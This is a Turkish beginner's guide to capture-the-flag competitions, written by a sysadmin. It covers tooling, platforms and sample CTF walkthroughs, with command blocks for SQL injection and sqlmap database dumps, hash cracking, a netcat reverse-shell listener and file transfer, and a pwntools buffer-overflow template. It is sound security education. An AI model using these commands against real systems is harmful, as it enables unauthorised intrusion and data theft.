CTF (Capture The Flag) Nedir ve Nasıl Başlanır?

Sistemlerde yıllarca güvenlik açığı avlamak, log analiz etmek, incident response yapmak… Bunların hepsi güzel ama bir noktada kendinizi test etmek istiyorsunuz. Ben de birkaç yıl önce tam bu noktada CTF dünyasıyla tanıştım ve o günden beri savunma tarafındaki bakış açım köklü biçimde değişti. Saldırganın nasıl düşündüğünü anlayan bir sysadmin, sistemlerini çok daha iyi koruyabilir. Bu yazıda CTF’in ne olduğunu, neden ciddi bir öğrenme aracı olduğunu ve pratik olarak nasıl başlayabileceğinizi ele alacağım.

CTF Nedir, Ne Değildir?

CTF yani “Capture The Flag”, siber güvenlik alanında düzenlenen yarışmalardır. Temel mantık basittir: Kasıtlı olarak zafiyetli tasarlanmış sistemlerde ya da belirli bulmacalarda “flag” adı verilen gizli bir metni bulursunuz. Bu flag genellikle CTF{some_secret_string} formatında olur ve bunu platforma submit ettiğinizde puan kazanırsınız.

Ama CTF’i sadece “yarışma” olarak tanımlamak onu küçümsemek olur. Gerçekte CTF, kontrollü bir ortamda gerçek saldırı tekniklerini, güvenlik açıklarını ve exploit yöntemlerini öğrenmenin en etkin yollarından biridir. Bir sysadmin olarak “ben zaten sistemleri koruyorum, saldırmayı neden öğreneyim?” diye düşünebilirsiniz. Bu soruyu yıllarca ben de sordum, ta ki bir CTF çözümünde SQL injection’ın nasıl çalıştığını bizzat deneyimleyene kadar. O günden sonra WAF kurallarımı çok farklı yazdım.

CTF Kategorileri

CTF yarışmaları genellikle şu kategorilere ayrılır:

  • Web: SQL injection, XSS, SSRF, command injection gibi web uygulama açıkları
  • Binary Exploitation (pwn): Buffer overflow, format string, heap exploitation gibi düşük seviyeli açıklar
  • Reverse Engineering: Derlenmiş binary’leri analiz etmek, obfuscated kodu anlamak
  • Cryptography: Zayıf şifreleme implementasyonlarını kırmak, matematiksel açıkları bulmak
  • Forensics: Disk imajları, pcap dosyaları, memory dump analizi
  • Steganography: Resim, ses, video içine gizlenmiş verileri bulmak
  • OSINT: Açık kaynak istihbaratı ile bilgi toplamak
  • Miscellaneous: Yukarıdakilere girmeyen her şey

Sysadmin veya DevOps geçmişinden geliyorsanız forensics ve web kategorilerinde hızlı ilerleyeceksiniz. Linux komutlarına hakimiyetiniz, log okuma alışkanlığınız burada doğrudan işe yarar.

CTF Formatları

Yarışmalar iki ana formatta yapılır:

Jeopardy stili: En yaygın olanı. Farklı kategorilerden sorular var, her birinin belirli bir puan değeri var. Bağımsız çözersiniz, başkasının ilerlemesi sizinkini etkilemez.

Attack-Defense: Hem kendi sisteminizi savunur hem de rakiplerin sistemine saldırırsınız. Bu format çok daha gerçekçi ama aynı zamanda çok daha stresli. Bir yandan patch uyguluyorsunuz, bir yandan exploit yazıyorsunuz.

Ortamı Hazırlamak

Kali veya Parrot OS kurmanızı öneririm ama mevcut Ubuntu/Debian makinenize de gerekli araçları kurabilirsiniz. Ben genellikle CTF için ayrı bir VM kullanırım, hem izolasyon hem de anlık snapshot alma kolaylığı açısından.

# Temel CTF araçlarını Ubuntu/Debian üzerine kurmak
sudo apt update && sudo apt install -y 
  nmap 
  netcat-traditional 
  python3-pip 
  git 
  curl 
  wget 
  binwalk 
  foremost 
  steghide 
  exiftool 
  pwndbg 
  wireshark 
  john 
  hashcat 
  gobuster 
  nikto 
  sqlmap

# Python tabanlı CTF araçları
pip3 install pwntools requests beautifulsoup4 pycryptodome
# Ghidra kurulumu (reverse engineering için)
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_11.0_build/ghidra_11.0_PUBLIC_20231222.zip
unzip ghidra_11.0_PUBLIC_20231222.zip
cd ghidra_11.0_PUBLIC
./ghidraRun

CTF çalışma dizininizi organize etmenizi tavsiye ederim. Her challenge için ayrı klasör açma alışkanlığı edinmek, ileride “o komutu nerede çalıştırmıştım?” derdinden kurtarır.

# CTF çalışma dizini yapısı
mkdir -p ~/ctf/{tools,writeups,challenges}
mkdir -p ~/ctf/challenges/$(date +%Y-%m)/challenge_name/{files,notes,exploits}

# Örnek dizin yapısı:
# ~/ctf/
# ├── tools/           # Custom scriptler
# ├── writeups/        # Kendi çözüm notlarınız
# └── challenges/
#     └── 2024-01/
#         └── web_login_bypass/
#             ├── files/
#             ├── notes/
#             └── exploits/

İlk Adımlar: Hangi Platformdan Başlamalı?

PicoCTF

Başlangıç için en iyi platform PicoCTF. Carnegie Mellon Üniversitesi tarafından hazırlanmış, her zorluk seviyesine uygun challenge’lar var. Türkiye’den erişimde sorun yaşamıyorsunuz ve Türkçe kaynak bulmak mümkün.

HackTheBox

Biraz ilerleme kaydettikten sonra HackTheBox’a geçin. “Starting Point” makineleri sysadmin geçmişi olanlar için iyi bir giriş noktası. HTB’de hem CTF tarzı challenge’lar hem de gerçek makine hacklemesi var.

TryHackMe

Daha yapılandırılmış öğrenme yolu isteyenler için TryHackMe idealdir. “Room” adı verilen öğrenme modülleri var ve adım adım ilerliyor. Tamamen yeni başlayanlara bu platformu öneririm.

CTFtime.org

Aktif yarışmaları takip etmek için CTFtime.org’u kullanın. Dünya genelinde süregelen tüm CTF’lerin takvimi burada.

Pratik: İlk Web Challenge’ınızı Çözmek

Teoriden çıkalım ve gerçek bir senaryoya bakalım. Basit bir web challenge örneği üzerinden gidelim.

Diyelim ki bir login sayfası var ve klasik SQL injection açığı mevcut. Aşağıdaki adımları izlerim:

# Önce hedefi keşfet
curl -I http://target-challenge.ctf:8080/

# Temel recon
nmap -sV -sC -p 1-10000 target-challenge.ctf

# Web dizin keşfi
gobuster dir -u http://target-challenge.ctf:8080/ 
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
  -x php,html,txt,js 
  -t 50

# robots.txt, .git, backup dosyaları kontrol
curl http://target-challenge.ctf:8080/robots.txt
curl http://target-challenge.ctf:8080/.git/HEAD
# SQL injection testi - manual
# Önce basit test
curl -s -d "username=admin'--&password=anything" 
  http://target-challenge.ctf:8080/login

# sqlmap ile otomatik tarama
sqlmap -u "http://target-challenge.ctf:8080/login" 
  --data="username=admin&password=test" 
  --level=3 
  --risk=2 
  --dbs

# Veritabanı tablolarını listele
sqlmap -u "http://target-challenge.ctf:8080/login" 
  --data="username=admin&password=test" 
  -D ctfdb 
  --tables

# Flag tablosunu dump et
sqlmap -u "http://target-challenge.ctf:8080/login" 
  --data="username=admin&password=test" 
  -D ctfdb 
  -T flags 
  --dump

Bu kadar araç kullanmak her zaman doğru değil. Özellikle başlarken önce manuel denemeler yapın, sonra araç kullanın. Yoksa ne yaptığınızı anlamadan flag alırsınız, hiçbir şey öğrenmemiş olursunuz.

Forensics Challenge Örneği

Forensics, sysadminlerin en hızlı adapte olduğu kategori. Disk imajı analizi, bellek dökümü inceleme, network capture analizi… Bunlar zaten işin içindeyiz.

# Bir disk imajı aldınız, ne yaparsınız?
file suspicious.img

# Dosya sistemini mount et
sudo mkdir /mnt/ctf_disk
sudo mount -o loop,ro suspicious.img /mnt/ctf_disk

# Silinen dosyaları kurtar
foremost -i suspicious.img -o ./recovered/

# Alternatif: binwalk ile dosya içini araştır
binwalk -e suspicious.img

# Strings ile okunabilir metinleri çek
strings suspicious.img | grep -i "CTF{"

# Exif metadata kontrol (resim dosyaları için)
exiftool suspicious.jpg

# Steganography kontrolü
steghide extract -sf suspicious.jpg
# Parola yoksa boş bırak, enter'a bas

# Zlib/gzip gömülü veri kontrolü
binwalk --dd='.*' suspicious.png

Gerçek bir örnek anlatayım: Bir CTF’de JPG dosyası içinde gizlenmiş veri bulmak için stegsolve aracını kullandım. En LSB (Least Significant Bit) katmanında flag gömülüydü. Bu tekniği öğrendikten sonra production ortamında sızdırılan verilerin nasıl gizlenebileceğini de anladım. Teorik olarak okuduğumda geçip gitmiş, bizzat uygulayınca yerleşmişti.

Hash Kırma ve Kriptografi

Şifre hash’leriyle karşılaşmak CTF’de çok yaygın. John the Ripper ve Hashcat temel araçlarınız olacak.

# Hash türünü belirle
hash-identifier "5f4dcc3b5aa765d61d8327deb882cf99"

# John the Ripper ile hash kır
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show

# Hashcat ile (GPU varsa çok daha hızlı)
# MD5 = mod 0
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

# SHA256 = mod 1400
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt

# Kural tabanlı saldırı (daha gelişmiş)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt 
  -r /usr/share/hashcat/rules/best64.rule

# rockyou.txt yoksa indir
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Kriptografi challengelarda ise Python bilmek şart. Temel şifreleme algoritmalarını anlamadan bu kategoride ilerlemeniz zor.

CTF’de Geliştirmeniz Gereken Temel Beceriler

Linux Komut Satırı Hakimiyeti

Zaten sysadminsaniz bu alanda avantajlısınız ama CTF spesifik bazı araçları ve teknikleri bilmek gerekiyor:

  • grep, awk, sed: Büyük veri setlerinden pattern çıkarmak için
  • xxd, hexdump: Binary dosya analizi için
  • nc (netcat): Reverse shell almak, port dinlemek için
  • base64, xxd: Encoding/decoding işlemleri için
# Sık kullanılan one-liner'lar
# Base64 decode
echo "Q1RGe2hlbGxvX3dvcmxkfQ==" | base64 -d

# Hex to ASCII
echo "4354467b68656c6c6f5f776f726c647d" | xxd -r -p

# Reverse shell almak için listener aç
nc -lvnp 4444

# Dosyayı netcat üzerinden transfer et
# Alıcı taraf:
nc -lvnp 4444 > received_file
# Gönderen taraf:
nc -q 1 [receiver_ip] 4444 < file_to_send

# Binary içinde string ara
strings binary_file | grep -E "CTF{.*}"

Python Scripting

CTF’de Python olmadan gideceğiniz yer sınırlı. pwntools kütüphanesi binary exploitation için neredeyse standart haline geldi.

# Basit pwntools örneği - buffer overflow
from pwn import *

# Local binary çalıştır
p = process('./vulnerable_binary')

# Remote bağlantı
# p = remote('challenge.ctf', 1337)

# Offset bul (pattern_create ile)
pattern = cyclic(200)
p.sendlineafter(b'Input: ', pattern)
p.wait()

core = p.corefile
offset = cyclic_find(core.eip)
print(f"Offset: {offset}")

# Exploit gönder
payload = b'A' * offset
payload += p32(win_function_address)
p.sendlineafter(b'Input: ', payload)
p.interactive()

CTF Topluluğu ve Türkiye’deki Sahne

Türkiye’de de aktif bir CTF topluluğu var. 0x90 (sıfır-x-doksan) başta olmak üzere çeşitli takımlar uluslararası yarışmalara katılıyor. Discord üzerinden bu topluluklarla bağlantı kurmanızı tavsiye ederim.

Ayrıca şu organizasyonlar Türkiye’ye özgü etkinlikler düzenliyor:

  • Siber Vatan (BTK bünyesinde)
  • TürkSec topluluğu
  • Akademik çevrelerde METU, ITU, Bogazici ekipleri

Takım olarak oynamak çok önemli. Bir challenge’da birkaç saattir tıkandıysanız, farklı bir bakış açısı anında sorunu çözebiliyor. Ben genellikle birkaç kişiyle küçük bir ekiple giriyorum yarışmalara. Herkesin farklı güçlü alanı olduğundan iş bölümü doğal oluşuyor.

Writeup Okuma ve Yazma

Çözemediğiniz challenge’lar için sonradan yayınlanan writeup’ları mutlaka okuyun. CTFtime.org’da yarışma sonrası writeup’lar paylaşılıyor. Bu dokümanlardaki düşünce sürecini takip etmek, “ben bunu neden göremedim?” sorusunu cevaplamanızı sağlıyor.

Siz de çözdüğünüz challenge’lar için writeup yazın. Yazmak öğrenmeyi pekiştiriyor. İlk writeup’ım o kadar dağınıktı ki kendim bile sonradan anlayamadım. Ama birkaç sonrakinde bir süreç oluştu, adım adım düşünce akışımı kaydetmeye başladım. Bu notlar sonradan gerçek iş hayatında da işe yaradı.

Yanılgılar ve Gerçekler

“CTF ile gerçek hayat güvenliği arasında uçurum var” eleştirisini sık duyarım. Kısmen doğru. CTF challengeları genellikle tek bir açıkla çözülüyor, gerçek sistemlerde ise zincirleme açıklar, kurumsal ağ kompleksitesi, insan faktörü devreye giriyor.

Ama şunu da söyleyeyim: Web challengelarda öğrendiğim SSRF tekniğini, bir pentest sırasında AWS metadata endpoint’ini çekmek için kullandım. Binary exploitation öğrenirken anladığım stack frame yapısı, bir crash dump analiz ederken işime yaradı. Forensics challengelardaki pcap analizi alışkanlığı, bir veri sızıntısı soruşturmasında doğrudan uyguladığım bir beceriye dönüştü.

CTF, güvenlik düşünce biçimi kazandırır. Önce “bu nasıl kırılır?” diye bakma refleksi, savunma katmanlarını tasarlarken “ben bunu kırmaya çalışsam nereden başlarım?” sorusunu sormayı kolaylaştırır.

Sonuç

CTF’e başlamak için mükemmel bir zamanlama beklemeyin. Bugün TryHackMe’de bir hesap açın, “Complete Beginner” learning path’ini başlatın. Bir hafta sonra HackTheBox Starting Point’e geçin. Bir ay sonra CTFtime.org’dan bir Jeopardy yarışmasına kayıt olun, takım arkadaşı bulun ya da yalnız girin.

İlk yarışmada muhtemelen çok az puan alacaksınız ya da hiç alamayacaksınız. Sorun değil. Oradan öğrenip döneceksiniz. CTF’in güzel yanı da bu zaten: Başarısız olmanın maliyeti yok, ama kazanmanın getirisine değer biçilemez.

Sysadmin ve DevOps dünyasında güvenliği önemsiyorsanız, CTF bu alandaki en iyi pratik ortam. Saldırgan perspektifini kazanmak, savunma kalitesini doğrudan ve ölçülebilir biçimde artırıyor. Bunu söyleyen ben değilim; sistemlerim söylüyor.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir